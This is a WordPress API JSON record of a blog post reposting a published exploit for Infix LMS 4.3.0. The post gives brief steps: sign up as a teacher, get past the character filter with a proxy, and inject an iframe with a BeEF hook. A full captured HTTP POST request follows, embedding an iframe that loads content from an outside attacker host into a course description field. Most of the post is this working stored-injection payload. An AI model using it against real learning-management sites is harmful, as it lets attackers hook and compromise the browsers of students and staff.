{"id":30577,"date":"2022-09-13T08:28:32","date_gmt":"2022-09-13T04:28:32","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/168337\/infixlms430-inject.txt"},"modified":"2022-09-13T10:56:01","modified_gmt":"2022-09-13T06:26:01","slug":"infix-lms-4-3-0-iframe-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/infix-lms-4-3-0-iframe-injection\/","title":{"rendered":"Infix LMS 4.3.0 IFRAME Injection"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: Infix LMS &#8211; Learning Management System IFRAME Injection<br \/>\n# Exploit Author: th3d1gger<br \/>\n# Vendor Homepage: https:\/\/codecanyon.net<br \/>\n# Software Link: https:\/\/codecanyon.net\/item\/infixlms-learning-management-system\/30626608<br \/>\n# Version: 4.3.0<br \/>\n# Tested on Ubuntu 18.04<br \/>\nsign up as teacher<br \/>\ngo course page and try to add course or edit<br \/>\nwith bypass special char restrict on post request with burp or etc, inject iframe with beef hook or else on any note-editor field<\/p>\n<p dir=\"ltr\">&#8211;request&#8211;<br \/>\nPOST \/admin\/course\/updateCourse HTTP\/1.1<br \/>\nHost: localhost<br \/>\nContent-Length: 3855<br \/>\nCache-Control: max-age=0<br \/>\nsec-ch-ua: &#8220;Chromium&#8221;;v=&#8221;103&#8243;, &#8220;.Not\/A)Brand&#8221;;v=&#8221;99&#8243;<br \/>\nsec-ch-ua-mobile: ?0<br \/>\nsec-ch-ua-platform: &#8220;Linux&#8221;<br \/>\nUpgrade-Insecure-Requests: 1<br \/>\nOrigin: http:\/\/localhost<br \/>\nContent-Type: multipart\/form-data; boundary=&#8212;-WebKitFormBoundarydcMGShie2VwdqOn2<br \/>\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/103.0.5060.134 Safari\/537.36<br \/>\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.9<br \/>\nSec-Fetch-Site: same-origin<br \/>\nSec-Fetch-Mode: navigate<br \/>\nSec-Fetch-User: ?1<br \/>\nSec-Fetch-Dest: document<br \/>\nReferer: http:\/\/localhost\/admin\/course\/course-details\/7?type=courseDetails<br \/>\nAccept-Encoding: gzip, deflate<br \/>\nAccept-Language: en-US,en;q=0.9<br \/>\nCookie: XSRF-TOKEN=eyJpdiI6IlhIUjU2U3FiTUMzQzZxT2E0OVVhZ1E9PSIsInZhbHVlIjoiRDBWUnFuakRhbTlHMStIb0xaRGp3YndQY3lla0RWcjZ2N3VyUUZMUzU1M004azBNNFk2QlBQNnJGSzRxWnh3bVppZ1hBcmRaOEV3TWd0L2V3R3FXcTZTQVpMQWxFSXQvOE00a3NZK0tjaDNqNzJ4ckdQc2psN2tMUzJaK3kzaDgiLCJtYWMiOiIxMjNjZTExZGE1MzUzNmQ0ZGMxMzk3Y2Y5NmEwMjZjNjdhZDEyNDU5ODYwYTVhZTZjM2UwN2VhNzZiMGY0OTI5IiwidGFnIjoiIn0%3D; infix_lms_session=eyJpdiI6Im1hSEwwZ3ZlbGJUVGpqTFJLSEdkOGc9PSIsInZhbHVlIjoiSUNJbDZMbmNLSWVlWm1OU3BqYVpYYTkzK3BVN0xxaG1qZnpCVis1TjAwd1FRV3RKUlRNbGdleUhaUWRpdXMwTmxtMFJjc3BTUTV2Ty9zLzkyTWZBckpRTUlsVEc1dmlVbzRwOHRhdW1nSWpNdkRnbmNUMGFqZFUyVml2UDBDclMiLCJtYWMiOiIzZjBmNjVlNDg0MjFmN2NiYjI3ZmIxNmM0YjlkMjE1MGZjZTVlN2Y5N2JmYTcwOWM1ZDA2ZmU4MzIzYzI2YTExIiwidGFnIjoiIn0%3D<br \/>\nConnection: close<\/p>\n<p dir=\"ltr\">&#8212;&#8212;WebKitFormBoundarydcMGShie2VwdqOn2<br \/>\nContent-Disposition: form-data; name=&#8221;_token&#8221;<\/p>\n<p dir=\"ltr\">0GtujIh7Yz86xnBbUyOboiarXjZ1msvhLnEv8Bft<br \/>\n&#8212;&#8212;WebKitFormBoundarydcMGShie2VwdqOn2<br \/>\nContent-Disposition: form-data; name=&#8221;type&#8221;<\/p>\n<p dir=\"ltr\">1<br \/>\n&#8212;&#8212;WebKitFormBoundarydcMGShie2VwdqOn2<br \/>\nContent-Disposition: form-data; name=&#8221;drip&#8221;<\/p>\n<p dir=\"ltr\">0<br \/>\n&#8212;&#8212;WebKitFormBoundarydcMGShie2VwdqOn2<br \/>\nContent-Disposition: form-data; name=&#8221;title&#8221;<\/p>\n<p dir=\"ltr\">Introduction to Programming and App Development<br \/>\n&#8212;&#8212;WebKitFormBoundarydcMGShie2VwdqOn2<br \/>\nContent-Disposition: form-data; name=&#8221;id&#8221;<\/p>\n<p dir=\"ltr\">7<br \/>\n&#8212;&#8212;WebKitFormBoundarydcMGShie2VwdqOn2<br \/>\nContent-Disposition: form-data; name=&#8221;requirements&#8221;<\/p>\n<p dir=\"ltr\">&#8212;&#8212;WebKitFormBoundarydcMGShie2VwdqOn2<br \/>\nContent-Disposition: form-data; name=&#8221;files&#8221;; filename=&#8221;&#8221;<br \/>\nContent-Type: application\/octet-stream<\/p>\n<p dir=\"ltr\">&#8212;&#8212;WebKitFormBoundarydcMGShie2VwdqOn2<br \/>\nContent-Disposition: form-data; name=&#8221;about&#8221;<\/p>\n<p dir=\"ltr\">&lt;p&gt;&lt;p&gt;&lt;br&gt;&lt;\/p&gt;&lt;p&gt;&lt;br&gt;&lt;\/p&gt;&lt;p&gt;&lt;br&gt;&lt;\/p&gt;&lt;\/p&gt;&lt;p&gt;&lt;p&gt;&lt;iframe src=&#8221;http:\/\/192.168.1.18:3000\/uploads\/test.html&#8221;&gt;&lt;\/p&gt;&lt;\/p&gt;&lt;div&gt;&lt;br&gt;&lt;\/div&gt;&lt;p&gt;&lt;br&gt;&lt;\/p&gt;&lt;p&gt;&lt;br&gt;&lt;\/p&gt;&lt;p&gt;Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry&#8217;s standard dummy text<br \/>\never since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book&lt;\/p&gt;<br \/>\n&#8212;&#8212;WebKitFormBoundarydcMGShie2VwdqOn2<br \/>\nContent-Disposition: form-data; name=&#8221;files&#8221;; filename=&#8221;&#8221;<br \/>\nContent-Type: application\/octet-stream<\/p>\n<p dir=\"ltr\">&#8212;&#8212;WebKitFormBoundarydcMGShie2VwdqOn2<br \/>\nContent-Disposition: form-data; name=&#8221;outcomes&#8221;<\/p>\n<p dir=\"ltr\">&#8212;&#8212;WebKitFormBoundarydcMGShie2VwdqOn2<br \/>\nContent-Disposition: form-data; name=&#8221;files&#8221;; filename=&#8221;&#8221;<br \/>\nContent-Type: application\/octet-stream<\/p>\n<p dir=\"ltr\">&#8212;&#8212;WebKitFormBoundarydcMGShie2VwdqOn2<br \/>\nContent-Disposition: form-data; name=&#8221;category&#8221;<\/p>\n<p dir=\"ltr\">4<br \/>\n&#8212;&#8212;WebKitFormBoundarydcMGShie2VwdqOn2<br \/>\nContent-Disposition: form-data; name=&#8221;sub_category&#8221;<\/p>\n<p dir=\"ltr\">7<br \/>\n&#8212;&#8212;WebKitFormBoundarydcMGShie2VwdqOn2<br \/>\nContent-Disposition: form-data; name=&#8221;mode_of_delivery&#8221;<\/p>\n<p dir=\"ltr\">1<br \/>\n&#8212;&#8212;WebKitFormBoundarydcMGShie2VwdqOn2<br \/>\nContent-Disposition: form-data; name=&#8221;quiz&#8221;<\/p>\n<p dir=\"ltr\">&#8212;&#8212;WebKitFormBoundarydcMGShie2VwdqOn2<br \/>\nContent-Disposition: form-data; name=&#8221;level&#8221;<\/p>\n<p dir=\"ltr\">2<br \/>\n&#8212;&#8212;WebKitFormBoundarydcMGShie2VwdqOn2<br \/>\nContent-Disposition: form-data; name=&#8221;language&#8221;<\/p>\n<p dir=\"ltr\">19<br \/>\n&#8212;&#8212;WebKitFormBoundarydcMGShie2VwdqOn2<br \/>\nContent-Disposition: form-data; name=&#8221;duration&#8221;<\/p>\n<p dir=\"ltr\">10<br \/>\n&#8212;&#8212;WebKitFormBoundarydcMGShie2VwdqOn2<br \/>\nContent-Disposition: form-data; name=&#8221;complete_order&#8221;<\/p>\n<p dir=\"ltr\">0<br \/>\n&#8212;&#8212;WebKitFormBoundarydcMGShie2VwdqOn2<br \/>\nContent-Disposition: form-data; name=&#8221;price&#8221;<\/p>\n<p dir=\"ltr\">20<br \/>\n&#8212;&#8212;WebKitFormBoundarydcMGShie2VwdqOn2<br \/>\nContent-Disposition: form-data; name=&#8221;is_discount&#8221;<\/p>\n<p dir=\"ltr\">1<br \/>\n&#8212;&#8212;WebKitFormBoundarydcMGShie2VwdqOn2<br \/>\nContent-Disposition: form-data; name=&#8221;discount_price&#8221;<\/p>\n<p dir=\"ltr\">10<br \/>\n&#8212;&#8212;WebKitFormBoundarydcMGShie2VwdqOn2<br \/>\nContent-Disposition: form-data; name=&#8221;host&#8221;<\/p>\n<p dir=\"ltr\">Youtube<br \/>\n&#8212;&#8212;WebKitFormBoundarydcMGShie2VwdqOn2<br \/>\nContent-Disposition: form-data; name=&#8221;trailer_link&#8221;<\/p>\n<p dir=\"ltr\">https:\/\/www.youtube.com\/watch?v=mlqWUqVZrHA<br \/>\n&#8212;&#8212;WebKitFormBoundarydcMGShie2VwdqOn2<br \/>\nContent-Disposition: form-data; name=&#8221;vimeo&#8221;<\/p>\n<p dir=\"ltr\">&#8212;&#8212;WebKitFormBoundarydcMGShie2VwdqOn2<br \/>\nContent-Disposition: form-data; name=&#8221;vdocipher&#8221;<\/p>\n<p dir=\"ltr\">https:\/\/www.youtube.com\/watch?v=mlqWUqVZrHA<br \/>\n&#8212;&#8212;WebKitFormBoundarydcMGShie2VwdqOn2<br \/>\nContent-Disposition: form-data; name=&#8221;file&#8221;; filename=&#8221;&#8221;<br \/>\nContent-Type: application\/octet-stream<\/p>\n<p dir=\"ltr\">&#8212;&#8212;WebKitFormBoundarydcMGShie2VwdqOn2<br \/>\nContent-Disposition: form-data; name=&#8221;scope&#8221;<\/p>\n<p dir=\"ltr\">1<br \/>\n&#8212;&#8212;WebKitFormBoundarydcMGShie2VwdqOn2<br \/>\nContent-Disposition: form-data; name=&#8221;image&#8221;; filename=&#8221;&#8221;<br \/>\nContent-Type: application\/octet-stream<\/p>\n<p dir=\"ltr\">&#8212;&#8212;WebKitFormBoundarydcMGShie2VwdqOn2<br \/>\nContent-Disposition: form-data; name=&#8221;meta_keywords&#8221;<\/p>\n<p dir=\"ltr\">&#8212;&#8212;WebKitFormBoundarydcMGShie2VwdqOn2<br \/>\nContent-Disposition: form-data; name=&#8221;meta_description&#8221;<\/p>\n<p dir=\"ltr\">&#8212;&#8212;WebKitFormBoundarydcMGShie2VwdqOn2&#8211;<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Infix LMS &#8211; Learning Management System IFRAME Injection # Exploit Author: th3d1gger # Vendor Homepage: https:\/\/codecanyon.net # Software Link: https:\/\/codecanyon.net\/item\/infixlms-learning-management-system\/30626608 # Version: 4.3.0 # Tested on Ubuntu 18.04 sign up as teacher go course page and try to add course or edit with bypass special char restrict on post request with burp &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-30577","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/30577","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=30577"}],"version-history":[{"count":1,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/30577\/revisions"}],"predecessor-version":[{"id":30593,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/30577\/revisions\/30593"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=30577"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=30577"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=30577"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}